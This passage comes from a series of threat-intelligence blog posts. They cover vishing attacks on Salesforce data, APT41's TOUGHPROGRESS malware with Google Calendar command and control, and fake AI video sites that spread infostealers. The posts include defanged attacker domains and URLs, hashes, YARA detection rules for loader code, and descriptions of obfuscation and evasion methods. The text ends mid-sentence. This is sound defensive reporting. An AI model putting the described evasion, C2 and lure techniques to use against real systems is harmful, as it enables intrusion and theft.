MFA should be enforced on all sensitive and internet-facing portals to prevent unauthorized access even in the event of a password compromise.
Standardize one primary MFA solution, for most employees, to simplify security architecture and centralize a platform for detections and alerts.
Remove weak forms of MFA, such as SMS, voice calls, or simple email links, as primary authentication factors. These are susceptible to vishing, SIM swapping, and other attacks.
Prioritize phishing-resistant MFA methods:

FIDO2-compliant security keys (hardware tokens), especially for administrative and privileged users
Authenticator applications providing number matching or robust geo-verification features
Soft-tokens that are not reliant on easily intercepted channels

Ensure administrative users cannot register or use legacy/weak MFA methods, even if those are permitted for other user tiers.

Secure MFA Registration and Modification Processes

Do not permit employees to self-register new MFA devices without stringent controls. Implement an IT-managed or otherwise secure enrollment process.
Restrict MFA registration and modification actions to only be permissible from trusted IP locations and/or compliant corporate devices.
Alert on and investigate suspicious MFA registration activities, such as the same MFA method or phone number being registered across multiple user accounts.

Manager Involvement and Segregation of Duties

Service desks should notify managers (via verified contact channels sourced from internal directories) upon an employee's password reset, especially for sensitive accounts.
Require manager approval, through a verified channel, for all MFA resets. This creates third-party awareness and an additional record.
For larger organizations, consider segregating service desk responsibilities. Customer-facing support desks should generally not have permissions to modify internal corporate employee accounts.

Employee Training and Vishing Awareness

Conduct regular phishing simulation exercises that include vishing scenarios to educate employees about the specific risks of voice-based social engineering.
Train employees to always verify unexpected calls or requests for sensitive information, especially those claiming to be from IT support or other internal departments, by using an official internal directory to initiate a call-back or by contacting their manager.
Train employees to recognize common vishing pretexts (e.g., urgent requests to avoid negative consequences, claims of system issues requiring immediate action, unexpected MFA prompts).
Equip service desk employees with access to logs of previous calls and tickets to help identify abnormal patterns, such as repeated calls from unrecognized numbers or sequential MFA reset and password reset requests for the same user.

Security Monitoring and Alerting for Vishing-Related Activity

Utilize security information and event management (SIEM) and security orchestration, automation, and response (SOAR) technologies to monitor employee sign-in activity and service desk interactions.
Create specific alerts for the following:

Password reset activity, particularly for privileged accounts or outside of expected patterns
New MFA device enrollment or modification of existing MFA methods
Multiple failed login attempts followed by a successful password or MFA reset
MFA fatigue attacks (multiple sequential incomplete authentications)

All activities flagged as abnormal should be reviewed by an internal security team and investigated with the impacted employee and their manager.

Further guidance on hardening against UNC3944-style threats, including broader identity, endpoint, and network infrastructure recommendations, is detailed by the Google Threat Intelligence Group (GTIG).

Conclusion

This discussion of voice-based social engineering and its proposed resolutions aims to provide insight into attack methodologies and preventative measures relevant to this threat vector. Organizations seeking direct support on this subject or other services related to attack simulation and red team exercises are encouraged to contact Mandiant for assistance. Mandiant can discuss specific needs in detail and explore tailored recommendations to better equip security postures against advanced and persistent threats.

Mandiant

The Cost of a Call: From Voice Phishing to Data Extortion

Mandiant Threat Intelligence

2 months 2 weeks ago

Update (August 8): Google has completed its email notifications to those affected by this incident.

Update (August 8): Emails are actively being sent to those affected by this incident. Another update will be posted here once these alerts have been issued.

Update (August 5): In June, one of Google’s corporate Salesforce instances was impacted by similar UNC6040 activity described in this post. Google responded to the activity, performed an impact analysis and began mitigations. The instance was used to store contact information and related notes for small and medium businesses. Analysis revealed that data was retrieved by the threat actor during a small window of time before the access was cut off. The data retrieved by the threat actor was confined to basic and largely publicly available business information, such as business names and contact details.

UNC6240

Google Threat Intelligence Group (GTIG) tracks the extortion activities following UNC6040 intrusions, sometimes several months after the initial data theft, as UNC6240. The extortion involves calls or emails to employees of the victim organization demanding payment in bitcoin within 72 hours. During these communications, UNC6240 has consistently claimed to be the threat group ShinyHunters.

In addition, we believe threat actors using the 'ShinyHunters' brand may be preparing to escalate their extortion tactics by launching a data leak site (DLS). These new tactics are likely intended to increase pressure on victims, including those associated with the recent UNC6040 Salesforce-related data breaches. We continue to monitor this actor and will provide updates as appropriate.

UNC6240 Extortion Email Sender Addresses

shinycorp@tuta[.]com
shinygroup@tuta[.]com

UNC6040 (Evolving TTPs)

GTIG has observed an evolution in UNC6040's TTPs. While the group initially relied on the Salesforce Dataloader application, they have since shifted to using custom applications. These custom applications are typically Python scripts that perform a similar function to the Dataloader app. The updated attack chain involves a voice call to enroll a victim, which the threat actor initiates while using Mullvad VPN IPs or TOR. Following this initial engagement, the data collection is automated and through TOR IPs, a change that further complicates attribution and tracking efforts. GTIG observed that the threat actor shifted from creating Salesforce trial accounts using webmail emails to using compromised accounts from unrelated organizations to initially register their malicious applications.

A Google Threat Intelligence (GTI) collection of related Indicators of Compromise (IOCs) is available.

Introduction

Google Threat Intelligence Group (GTIG) is tracking UNC6040, a financially motivated threat cluster that specializes in voice phishing (vishing) campaigns specifically designed to compromise organizations' Salesforce instances for large-scale data theft and subsequent extortion. Over the past several months, UNC6040 has demonstrated repeated success in breaching networks by having its operators impersonate IT support personnel in convincing telephone-based social engineering engagements. This approach has proven particularly effective in tricking employees, often within English-speaking branches of multinational corporations, into actions that grant the attackers access or lead to the sharing of sensitive credentials, ultimately facilitating the theft of organization’s Salesforce data. In all observed cases, attackers relied on manipulating end users, not exploiting any vulnerability inherent to Salesforce.

A prevalent tactic in UNC6040's operations involves deceiving victims into authorizing a malicious connected app to their organization's Salesforce portal. This application is often a modified version of Salesforce’s Data Loader, not authorized by Salesforce. During a vishing call, the actor guides the victim to visit Salesforce's connected app setup page to approve a version of the Data Loader app with a name or branding that differs from the legitimate version. This step inadvertently grants UNC6040 significant capabilities to access, query, and exfiltrate sensitive information directly from the compromised Salesforce customer environments. This methodology of abusing Data Loader functionalities via malicious connected apps is consistent with recent observations detailed by Salesforce in their guidance on protecting Salesforce environments from such threats.

In some instances, extortion activities haven't been observed until several months after the initial UNC6040 intrusion activity, which could suggest that UNC6040 has partnered with a second threat actor that monetizes access to the stolen data. During these extortion attempts, the actor has claimed affiliation with the well-known hacking group ShinyHunters, likely as a method to increase pressure on their victims.

Figure 1: Data Loader attack flow

UNC6040

GTIG is currently tracking a significant portion of the investigated activity as UNC6040. UNC6040 is a financially motivated threat cluster that accesses victim networks by voice phishing social engineering. Upon obtaining access, UNC6040 has been observed immediately exfiltrating data from the victim’s Salesforce environment using Salesforce’s Data Loader application. Following this initial data theft, UNC6040 was observed leveraging end-user credentials obtained through credential harvesting or vishing to move laterally through victim networks, accessing and exfiltrating data from the victim's accounts on other cloud platforms such as Okta and Microsoft 365.

Attacker Infrastructure

UNC6040 utilized infrastructure to access Salesforce applications that also hosted an Okta phishing panel. This panel was used to trick victims into visiting it from their mobile phones or work computers during the social engineering calls. In these interactions, UNC6040 also directly requested user credentials and multifactor authentication codes to authenticate and add the Salesforce Data Loader application, facilitating data exfiltration.

Alongside the phishing infrastructure, UNC6040 primarily used Mullvad VPN IP addresses to access and perform the data exfiltration on the victim’s Salesforce environments and other services of the victim's network.

Overlap with Groups Linked to “The Com”

GTIG has observed infrastructure across various intrusions that shares characteristics with elements previously linked to UNC6040 and threat groups suspected of ties to the broader, loosely organized collective known as "The Com". We’ve also observed overlapping tactics, techniques, and procedures (TTPs), including social engineering via IT support, the targeting of Okta credentials, and an initial focus on English-speaking users at multinational companies. It's plausible that these similarities stem from associated actors operating within the same communities, rather than indicating a direct operational relationship between the threat actors.

Data Loader

Data Loader is an application developed by Salesforce, designed for the efficient import, export, and update of large data volumes within the Salesforce platform. It offers both a user interface and a command-line component, the latter providing extensive customization and automation capabilities. The application supports OAuth and allows for direct "app" integration via the "connected apps" functionality in Salesforce. Threat actors abuse this by persuading a victim over the phone to open the Salesforce connect setup page and enter a "connection code," thereby linking the actor-controlled Data Loader to the victim's environment.

Figure 2: The victim needs to enter a code to connect the threat actor controlled Data Loader

Modifications

In some of the intrusions using Data Loader, threat actors utilized modified versions of Data Loader to exfiltrate Salesforce data from victim organizations. The proficiency with the tool and capabilities by executed queries seems to differ from one intrusion to another.

In one instance, a threat actor used small chunk sizes for data exfiltration from Salesforce but was only able to retrieve approximately 10% of the data before detection and access revocation. In another case, numerous test queries were made with small chunk sizes initially. Once sufficient information was gathered, the actor rapidly increased the exfiltration volume to extract entire tables.

There were also cases where the threat actors configured their Data Loader application with the name "My Ticket Portal", aligning the tool's appearance with the social engineering pretext used during the vishing calls.

Outlook & Implications

Voice phishing (vishing) as a social engineering method is not, in itself, a novel or innovative technique; it has been widely adopted by numerous financially motivated threat groups over recent years with varied results. However, this campaign by UNC6040 is particularly notable due to its focus on exfiltrating data specifically from Salesforce environments. Furthermore, this activity underscores a broader and concerning trend: threat actors are increasingly targeting IT support personnel as a primary vector for gaining initial access, exploiting their roles to compromise valuable enterprise data.

The success of campaigns like UNC6040's, leveraging these refined vishing tactics, demonstrates that this approach remains an effective threat vector for financially motivated groups seeking to breach organizational defenses.

Given the extended time frame between initial compromise and extortion, it is possible that multiple victim organizations and potentially downstream victims could face extortion demands in the coming weeks or months.

Readiness, Mitigations, and Hardening

This campaign underscores the importance of a shared responsibility model for cloud security. While platforms like Salesforce provide robust, enterprise-grade security controls, it’s essential for customers to configure and manage access, permissions, and user training according to best practices.

To defend against social engineering threats, particularly those abusing tools like Data Loader for data exfiltration, organizations should implement a defense-in-depth strategy. GTIG recommends the following key mitigations and hardening steps:

Adhere to the Principle of Least Privilege, Especially for Data Access Tools: Grant users only the permissions essential for their roles—no more, no less. Specifically for tools like Data Loader, which often require the "API Enabled" permission for full functionality, limit its assignment strictly. This permission allows broad data export capabilities; therefore, its assignment must be carefully controlled. Per Salesforce's guidance, review and configure Data Loader access to restrict the number of users who can perform mass data operations, and regularly audit profiles and permission sets to ensure appropriate access levels.
Manage Access to Connected Applications Rigorously: Control how external applications, including Data Loader, interact with your Salesforce environment. Diligently manage access to your connected apps, specifying which users, profiles, or permission sets can use them and from where. Critically, restrict powerful permissions such as "Customize Application" and "Manage Connected Apps"—which allow users to authorize or install new connected applications—only to essential and trusted administrative personnel. Consider developing a process to review and approve connected apps, potentially allowlisting known safe applications to prevent the unauthorized introduction of malicious ones, such as modified Data Loader instances.
Enforce IP-Based Access Restrictions: To counter unauthorized access attempts, including those from threat actors using commercial VPNs, implement IP address restrictions. Set login ranges and trusted IPs, thereby restricting access to your defined enterprise and VPN networks. Define permitted IP ranges for user profiles and, where applicable, for connected app policies to ensure that logins and app authorizations from unexpected or non-trusted IP addresses are denied or appropriately challenged.
Leverage Advanced Security Monitoring and Policy Enforcement with Salesforce Shield: For enhanced alerting, visibility, and automated response capabilities, utilize tools within Salesforce Shield. Transaction Security Policies allow you to monitor activities like large data downloads (a common sign of Data Loader abuse) and automatically trigger alerts or block these actions. Complement this with "Event Monitoring" to gain deep visibility into user behavior, data access patterns (e.g., who viewed what data and when), API usage, and other critical activities, helping to detect anomalies indicative of compromise. These logs can also be ingested into your internal security tools for broader analysis.
Enforce Multi-Factor Authentication (MFA) Universally: While the social engineering tactics described may involve tricking users into satisfying an MFA prompt (e.g., for authorizing a malicious connected app), MFA remains a foundational security control. Salesforce states that "MFA is an essential, effective tool to enhance protection against unauthorized account access" and requires it for direct logins. Ensure MFA is robustly implemented across your organization and that users are educated on MFA fatigue tactics and social engineering attempts designed to circumvent this critical protection.

By implementing these measures, organizations can significantly strengthen their security posture against the types of vishing and the UNC6040 data exfiltration campaign detailed in this report. Regularly review Salesforce’s security documentation, including the Salesforce Security Guide for additional detailed guidance.

Read our vishing technical analysis for more details on the vishing threat, and strategic recommendations and best practices to stay ahead of it.

Google Threat Intelligence Group

Mark Your Calendar: APT41 Innovative Tactics

Mandiant Threat Intelligence

2 months 3 weeks ago

Written by: Patrick Whitsell

Google Threat Intelligence Group’s (GTIG) mission is to protect Google’s billions of users and Google’s multitude of products and services. In late October 2024, GTIG discovered an exploited government website hosting malware being used to target multiple other government entities. The exploited site delivered a malware payload, which we have dubbed “TOUGHPROGRESS”, that took advantage of Google Calendar for command and control (C2). Misuse of cloud services for C2 is a technique that many threat actors leverage in order to blend in with legitimate activity.

We assess with high confidence that this malware is being used by the PRC based actor APT41 (also tracked as HOODOO). APT41’s targets span the globe, including governments and organizations within the global shipping and logistics, media and entertainment, technology, and automotive sectors.

Overview

In this blog post we analyze the malware delivery methods, technical details of the malware attack chain, discuss other recent APT41 activities, and share indicators of compromise (IOCs) to help security practitioners defend against similar attacks. We also detail how GTIG disrupted this campaign using custom detection signatures, shutting down attacker-controlled infrastructure, and protections added to Safe Browsing.

Figure 1: TOUGHPROGRESS campaign overview

Delivery

APT41 sent spear phishing emails containing a link to the ZIP archive hosted on the exploited government website. The archive contains an LNK file, masquerading as a PDF, and a directory. Within this directory we find what looks like seven JPG images of arthropods. When the payload is executed via the LNK, the LNK is deleted and replaced with a decoy PDF file that is displayed to the user indicating these species need to be declared for export.

$ unzip -l 出境海關申報清單.zip Length Date Time Name --------- ---------- ----- ---- 0 2024-10-23 11:00 image/ 12633 2024-10-23 10:53 image/1.jpg 10282 2024-10-23 10:54 image/2.jpg 8288 2024-10-23 10:54 image/3.jpg 4174 2024-10-23 10:54 image/4.jpg 181656 2024-10-23 10:54 image/5.jpg 997111 2024-10-23 11:00 image/6.jpg 124928 2024-10-23 11:00 image/7.jpg 88604 2024-10-23 11:03 申報物品清單.pdf.lnk --------- ------- 1427676 9 files

The files “6.jpg” and “7.jpg” are fake images. The first file is actually an encrypted payload and is decrypted by the second file, which is a DLL file launched when the target clicks the LNK.

Malware Infection Chain

This malware has three distinct modules, deployed in series, each with a distinct function. Each module also implements stealth and evasion techniques, including memory-only payloads, encryption, compression, process hollowing, control flow obfuscation, and leveraging Google Calendar for C2.

PLUSDROP - DLL to decrypt and execute the next stage in memory.
PLUSINJECT - Launches and performs process hollowing on a legitimate “svchost.exe” process, injecting the final payload.
TOUGHPROGRESS - Executes actions on the compromised Windows host. Uses Google Calendar for C2.

TOUGHPROGRESS Analysis

TOUGHPROGRESS begins by using a hardcoded 16-byte XOR key to decrypt embedded shellcode stored in the sample’s “.pdata” region. The shellcode then decompresses a DLL in memory using COMPRESSION_FORMAT_LZNT1. This DLL layers multiple obfuscation techniques to obscure the control flow.

Register-based Indirect Calls
Dynamic Address Arithmetic
64-bit register overflow
Function Dispatch Table

The registered-based indirect call is used after dynamically calculating the address to store in the register. This calculation involves two or more hardcoded values that intentionally overflow the 64-bit register. Here is an example calling CreateThread.

Figure 2: Register-based indirect call with dynamic address arithmetic and 64-bit overflow

We can reproduce how this works using Python “ctypes” to simulate 64-bit register arithmetic. Adding the two values together overflows the 64-bit address space and the result is the address of the function to be called.

Figure 3: Demonstration of 64-bit address overflow

Figure 4: CreateThread in Dispatch Table

These obfuscation techniques manifest as a Control Flow Obfuscation tactic. Due to the indirect calls and arithmetic operations, the disassembler cannot accurately recreate a control flow graph.

Calendar C2

TOUGHPROGRESS has the capability to read and write events with an attacker-controlled Google Calendar. Once executed, TOUGHPROGRESS creates a zero minute Calendar event at a hardcoded date, 2023-05-30, with data collected from the compromised host being encrypted and written in the Calendar event description.

The operator places encrypted commands in Calendar events on 2023-07-30 and 2023-07-31, which are predetermined dates also hardcoded into the malware. TOUGHPROGRESS then begins polling Calendar for these events. When an event is retrieved, the event description is decrypted and the command it contains is executed on the compromised host. Results from the command execution are encrypted and written back to another Calendar event.

In collaboration with the Mandiant FLARE team, GTIG reverse engineered the C2 encryption protocol leveraged by TOUGHPROGRESS. The malware uses a hardcoded 10-byte XOR key and generates a per-message 4-byte XOR key.

Compress message with LZNT1
Encrypt the message with a 4-byte XOR key
Append the 4-byte key at the end of a message header (10 bytes total)
Encrypt the header with the 10-byte XOR key
Prepend the encrypted header to the front of the message
The combined encrypted header and message is the Calendar event description

Figure 5: TOUGHPROGRESS encryption routine for Calendar Event Descriptions

Figure 6: Example of a Calendar event created by TOUGHPROGRESS

Disrupting Attackers to Protect Google, Our Users, and Our Customers

GTIG’s goal is not just to monitor threats, but to counter and disrupt them. At Google, we aim to protect our users and customers at scale by proactively blocking malware campaigns across our products.

To disrupt APT41 and TOUGHPROGRESS malware, we have developed custom fingerprints to identify and take down attacker-controlled Calendars. We have also terminated attacker-controlled Workspace projects, effectively dismantling the infrastructure that APT41 relied on for this campaign. Additionally, we updated file detections and added malicious domains and URLs to the Google Safe Browsing blocklist.

In partnership with Mandiant Consulting, GTIG notified the compromised organizations. We provided the notified organizations with a sample of TOUGHPROGRESS network traffic logs, and information about the threat actor, to aid with detection and incident response.

Protecting Against Ongoing Activity

GTIG has been actively monitoring and protecting against APT41’s attacks using Workspace apps for several years. This threat group is known for their creative malware campaigns, sometimes leveraging Workspace apps.

Google Cloud’s Office of the CISO published the April 2023 Threat Horizons Report detailing HOODOO’s use of Google Sheets and Google Drive for malware C2.
In October 2024, Proofpoint published a report attributing the VOLDEMORT malware family to APT41.
The DUSTTRAP malware family, reported by GTIG and Mandiant in July of 2024, used Public Cloud hosting for C2.

In each case, GTIG identified and terminated the attacker-controlled Workspace projects and infrastructure APT41 relied on for these campaigns.

Free Web Hosting Infrastructure

Since at least August 2024, we have observed APT41 using free web hosting tools for distributing their malware. This includes VOLDEMORT, DUSTTRAP, TOUGHPROGRESS and likely other payloads as well. Links to these free hosting sites have been sent to hundreds of targets in a variety of geographic locations and industries.

APT41 has used Cloudflare Worker subdomains the most frequently. However, we have also observed use of InfinityFree and TryCloudflare. The specific subdomains and URLs here have been observed in previous campaigns, but may no longer be in use by APT41.

Cloudflare Workers

word[.]msapp[.]workers[.]dev
cloud[.]msapp[.]workers[.]dev

TryCloudflare

term-restore-satisfied-hence[.]trycloudflare[.]com
ways-sms-pmc-shareholders[.]trycloudflare[.]com

InfinityFree

resource[.]infinityfreeapp[.]com
pubs[.]infinityfreeapp[.]com

APT41 has also been observed using URL shorteners in their phishing messages. The shortened URL redirects to their malware hosted on free hosting app subdomains.

https[:]//lihi[.]cc/6dekU
https[:]//tinyurl[.]com/hycev3y7
https[:]//my5353[.]com/nWyTf
https[:]//reurl[.]cc/WNr2Xy

All domains and URLs in this blog post have been added to the Safe Browsing blocklist. This enables a warning on site access and prevents users from downloading the malware.

Indicators of Compromise

The IOCs in this blog post are also available as a collection in Google Threat Intelligence.

Hashes

Name

Hashes (SHA256 / MD5)

出境海關申報清單.zip

469b534bec827be03c0823e72e7b4da0b84f53199040705da203986ef154406a 876fb1b0275a653c4210aaf01c2698ec

申報物品清單.pdf.lnk

3b88b3efbdc86383ee9738c92026b8931ce1c13cd75cd1cda2fa302791c2c4fb 65da1a9026cf171a5a7779bc5ee45fb1

6.jpg

50124174a4ac0d65bf8b6fd66f538829d1589edc73aa7cf36502e57aa5513360 1ca609e207edb211c8b9566ef35043b6

7.jpg

151257e9dfda476cdafd9983266ad3255104d72a66f9265caa8417a5fe1df5d7 2ec4eeeabb8f6c2970dcbffdcdbd60e3

Domains

word[.]msapp[.]workers[.]dev
cloud[.]msapp[.]workers[.]dev
term-restore-satisfied-hence[.]trycloudflare[.]com
ways-sms-pmc-shareholders[.]trycloudflare[.]com
resource[.]infinityfreeapp[.]com
pubs[.]infinityfreeapp[.]com

URL Shortener Links

https[:]//lihi[.]cc/6dekU
https[:]//lihi[.]cc/v3OyQ
https[:]//lihi[.]cc/5nlgd
https[:]//lihi[.]cc/edcOv
https[:]//lihi[.]cc/4z5sh
https[:]//tinyurl[.]com/mr42t4yv
https[:]//tinyurl[.]com/hycev3y7
https[:]//tinyurl[.]com/mpa2c5wj
https[:]//tinyurl[.]com/3wnz46pv
https[:]//my5353[.]com/ppOH5
https[:]//my5353[.]com/nWyTf
https[:]//my5353[.]com/fPUcX
https[:]//my5353[.]com/ZwEkm
https[:]//my5353[.]com/vEWiT
https[:]//reurl[.]cc/WNr2Xy

Calendar

104075625139-l53k83pb6jbbc2qbreo4i5a0vepen41j.apps.googleusercontent.com
https[:]//www[.]googleapis[.]com/calendar/v3/calendars/ff57964096cadc1a8733cf566b41c9528c89d30edec86326c723932c1e79ebf0@group.calendar.google.com/events

YARA Rules rule G_Backdoor_TOUGHPROGRESS_LNK_1 { meta: author = "GTIG" date_created = "2025-04-29" date_modified = "2025-04-29" md5 = "65da1a9026cf171a5a7779bc5ee45fb1" rev = 1 strings: $marker = { 4C 00 00 00 } $str1 = "rundll32.exe" ascii wide $str2 = ".\\image\\7.jpg,plus" wide $str3 = "%PDF-1" $str4 = "PYL=" condition: $marker at 0 and all of them } rule G_Dropper_PLUSDROP_1 { meta: author = "GTIG" date_created = "2025-04-29" date_modified = "2025-04-29" md5 = "9492022a939d4c727a5fa462590dc0dd" rev = 1 strings: $decrypt_and_launch_payload = { 48 8B ?? 83 ?? 0F 0F B6 ?? ?? ?? 30 04 ?? 48 FF ?? 49 3B ?? 72 ?? 80 [1-5] 00 75 ?? B? 5B 55 D2 56 [0-8] E8 [4-32] 33 ?? 33 ?? FF D? [0-4] FF D? } condition: uint16(0) == 0x5a4d and all of them } Additional YARA Rules

This is a second dropper used to launch PLUSDROP in another TOUGHPROGRESS campaign.

rule G_Dropper_TOUGHPROGRESS_XML_1 { meta: author = "GTIG" description = "XML lure file used to launch a PLUSDROP dll." md5 = "dccbb41af2fcf78d56ea3de8f3d1a12c" strings: $str1 = "System.Convert.FromBase64String" $str2 = "VirtualAlloc" $str3 = ".InteropServices.Marshal.Copy" $str4 = ".DllImport" $str5 = "kernel32.dll" $str6 = "powrprof.dll" $str7 = ".Marshal.GetDelegateForFunctionPointer" condition: uint16(0)!= 0x5A4D and all of them and filesize > 500KB and filesize < 5MB }

PLUSBED is an additional stage observed in other TOUGHPROGRESS campaigns.

rule G_Dropper_PLUSBED_2 { meta: author = "GTIG" date_created = "2025-04-29" date_modified = "2025-04-29" md5 = "39a46d7f1ef9b9a5e40860cd5f646b9d" rev = 1 strings: $api1 = { BA 54 B8 B9 1A } $api2 = { BA 78 1F 20 7F } $api3 = { BA 62 34 89 5E } $api4 = { BA 65 62 10 4B } $api5 = { C7 44 24 34 6E 74 64 6C 66 C7 44 24 38 6C 00 FF D0 } condition: uint16(0) != 0x5A4D and all of them }

Google Threat Intelligence Group

Text-to-Malware: How Cybercriminals Weaponize Fake AI-Themed Websites

Mandiant Threat Intelligence

2 months 3 weeks ago

Written by: Diana Ion, Rommel Joven, Yash Gupta

Since November 2024, Mandiant Threat Defense has been investigating an UNC6032 campaign that weaponizes the interest around AI tools, in particular those tools which can be used to generate videos based on user prompts. UNC6032 utilizes fake “AI video generator” websites to distribute malware leading to the deployment of payloads such as Python-based infostealers and several backdoors. Victims are typically directed to these fake websites via malicious social media ads that masquerade as legitimate AI video generator tools like Luma AI, Canva Dream Lab, and Kling AI, among others. Mandiant Threat Defense has identified thousands of UNC6032-linked ads that have collectively reached millions of users across various social media platforms like Facebook and LinkedIn. We suspect similar campaigns are active on other platforms as well, as cybercriminals consistently evolve tactics to evade detection and target multiple platforms to increase their chances of success.

Mandiant Threat Defense has observed UNC6032 compromises culminating in the exfiltration of login credentials, cookies, credit card data, and Facebook information through the Telegram API. This campaign has been active since at least mid-2024 and has impacted victims across different geographies and industries. Google Threat Intelligence Group (GTIG) assesses UNC6032 to have a Vietnam nexus.

Mandiant Threat Defense acknowledges Meta's collaborative and proactive threat hunting efforts in removing the identified malicious ads, domains, and accounts. Notably, a significant portion of Meta’s detection and removal began in 2024, prior to Mandiant alerting them of additional malicious activity we identified.

A similar investigation was recently published by Morphisec.

Campaign Overview

Threat actors haven't wasted a moment capitalizing on the global fascination with Artificial Intelligence. As AI's popularity surged over the past couple of years, cybercriminals quickly moved to exploit the widespread excitement. Their actions have fueled a massive and rapidly expanding campaign centered on fraudulent websites masquerading as cutting-edge AI tools. These websites have been promoted by a large network of misleading social media ads, similar to the ones shown in Figure 1 and Figure 2.

Figure 1: Malicious Facebook ads

Figure 2: Malicious LinkedIn ads

As part of Meta’s implementation of the Digital Services Act, the Ad Library displays additional information (ad campaign dates, targeting parameters and ad reach) on all ads that target people from the European Union. LinkedIn has also implemented a similar transparency tool.

Our research through both Ad Library tools identified over 30 different websites, mentioned across thousands of ads, active since mid 2024, all displaying similar ad content. The majority of ads which we found ran on Facebook, with only a handful also advertised on LinkedIn. The ads were published using both attacker-created Facebook pages, as well as by compromised Facebook accounts. Mandiant Threat Defense performed further analysis of a sample of over 120 malicious ads and, from the EU transparency section of the ads, their total reach for EU countries was over 2.3 million users. Table 1 displays the top 5 Facebook ads by reach. It should be noted that reach does not equate to the number of victims. According to Meta, the reach of an ad is an estimated number of how many Account Center accounts saw the ad at least once.

Ad Library ID

Ad Start Date

Ad End Date

EU Reach

1589369811674269

14.12.2024

18.12.2024

300,943

559230916910380

04.12.2024

09.12.2024

298,323

926639029419602

07.12.2024

09.12.2024

270,669

1097376935221216

11.12.2024

12.12.2024

124,103

578238414853201

07.12.2024

10.12.2024

111,416 Table 1: Top 5 Facebook ads by reach

The threat actor constantly rotates the domains mentioned in the Facebook ads, likely to avoid detection and account bans. We noted that once a domain is registered, it will be referenced in ads within a few days if not the same day. Moreover, most of the ads are short lived, with new ones being created on a daily basis.

On LinkedIn, we identified roughly 10 malicious ads, each directing users to hxxps://klingxai[.]com. This domain was registered on September 19, 2024, and the first ad appeared just a day later. These ads have a total impression estimate of 50k-250k. For each ad, the United States was the region with the highest percentage of impressions, although the targeting included other regions such as Europe and Australia.

Ad Library ID

Ad Start Date

Ad End Date

Total Impressions

% Impressions in the US

490401954

20.09.2024

<1k

508076723

27.09.2024

28.09.2024

10k-50k

511603353

30.09.2024

01.10.2024

10k-50k

511613043

30.09.2024

01.10.2024

10k-50k

511613633

30.09.2024

01.10.2024

10k-50k

511622353

30.09.2024

01.10.2024

10k-50k

Table 2: LinkedIn ads

From the websites investigated, Mandiant Threat Defense observed that they have similar interfaces and offer purported functionalities such as text-to-video or image-to-video generation. Once the user provides a prompt to generate a video, regardless of the input, the website will serve one of the static payloads hosted on the same (or related) infrastructure.

The payload downloaded is the STARKVEIL malware. It drops three different modular malware families, primarily designed for information theft and capable of downloading plugins to extend their functionality. The presence of multiple, similar payloads suggests a fail-safe mechanism, allowing the attack to persist even if some payloads are detected or blocked by security defences.

In the next section, we will delve deeper into one particular compromise Mandiant Threat Defense responded to.

Luma AI Investigation Infection Chain

Figure 3: Infection chain lifecycle

This blog post provides a detailed analysis of our findings on the key components of this campaign:

Lure: The threat actors leverage social networks to push AI-themed ads that direct users to fake AI websites, resulting in malware downloads.
Malware: It contains several malware components, including the STARKVEIL dropper, which deploys the XWORM and FROSTRIFT backdoors and the GRIMPULL downloader.
Execution: The malware makes extensive use of DLL side-loading, in-memory droppers, and process injection to execute its payloads.
Persistence: It uses AutoRun registry key for its two Backdoors (XWORM and FROSTRIFT).
Anti-VM and Anti-analysis: GRIMPULL checks for commonly used artifacts\features from known Sandbox and analysis tools.
Reconnaissance

Host reconnaissance: XWORM and FROSTRIFT survey the host by collecting information, including OS, username, role, hardware identifiers, and installed AV.
Software reconnaissance: FROSTRIFT checks the existence of certain messaging applications and browsers.

Command-and-control (C2)

Tor: GRIMPULL utilizes a Tor Tunnel to fetch additional .NET payloads.
Telegram: XWORM sends victim notification via telegram including information gathered during host reconnaissance.
TCP: The malware connects to its C2 using ports 7789, 25699, 56001.

Information stealer

Keylogger: XWORM log keystrokes from the host.
Browser extensions: FROSTRIFT scans for 48 browser extensions related to Password managers, Authenticators, and Digital wallets potentially for data theft.

Backdoor Commands: XWORM supports multiple commands for further compromise.

The Lure

This particular case began from a Facebook Ad for “Luma Dream AI Machine”, masquerading as a well-known text-to-video AI tool - Luma AI. The ad, as seen in Figure 4, redirected the user to an attacker-created website hosted at hxxps://lumalabsai[.]in/.

Figure 4: The ad the victim clicked on

Once on the fake Luma AI website, the user can click the “Start Free Now” button and choose from various video generation functionalities. Regardless of the selected option, the same prompt is displayed, as shown in the GIF in Figure 5.

This multi-step process, made to resemble any other legitimate text-to-video or image-to-video generation tool website, creates a sense of familiarity to the user and does not give any immediate indication of malicious intent. Once the user hits the generate button, a loading bar appears, mimicking an AI model hard at work. After a few seconds, when the new video is supposedly ready, a Download button is displayed. This leads to the download of a ZIP archive file on the victim host.

Figure 5: Fake AI video generation website

Unsurprisingly, the ready-to-download archive is one of many payloads already hosted on the same server, with no connection to the user input. In this case, several archives were hosted at the path hxxps://lumalabsai[.]in/complete/. Mandiant determined that the website will serve the archive file with the most recent “Last Modified” value, indicating continuous updates by the threat actor. Mandiant compared some of these payloads and found them to be functionally similar, with different obfuscation techniques applied, thus resulting in different sizes.

Figure 6: Payloads hosted at hxxps://lumalabsai[.]in/complete

Execution

The previously downloaded ZIP archive contains an executable with a double extension (.mp4 and .exe) in its name, separated by thirteen Braille Pattern Blank (Unicode: U+2800, UTF-8: E2 A0 80) characters. This is a special whitespace character from the Braille Pattern Block in Unicode.

Figure 7: Braille Pattern Blank characters in the file name

The resulting file name, Lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe, aims to make the binary less suspicious by pushing the .exe extension out of the user view. The number of Braille Pattern Blank characters used varies across different samples served, ranging from 13 to more than 30. To further hide the true purpose of this binary, the default .mp4 Windows icon is used on the malicious file.

Figure 8 shows how the file looks on Windows 11, compared to a legitimate .mp4 file.

Figure 8: Malicious binary vs legitimate .mp4 file

STARKVEIL

The binary Lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe, tracked by Mandiant as STARKVEIL, is a dropper written in Rust. Once executed, it extracts an embedded archive containing benign executables and its malware components. These are later utilized to inject malicious code into several legitimate processes.

Executing the malware displays an error window, as seen in Figure 9, to trick the user into trying to execute it again and into believing that the file is corrupted.

Figure 9: Error window displayed when executing STARKVEIL

For a successful compromise, the executable needs to run twice; the initial execution results in the extraction of all the embedded files under the C:\winsystem\ directory.

Figure 10: Files in the winsystem directory

During the second execution, the main executable spawns the Python Launcher, py.exe, with an obfuscated Python command as an argument. The Python command decodes an embedded Python code, which Mandiant tracks as COILHATCH dropper. COILHATCH performs the following actions (note that the script has been deobfuscated and renamed for improved readability):

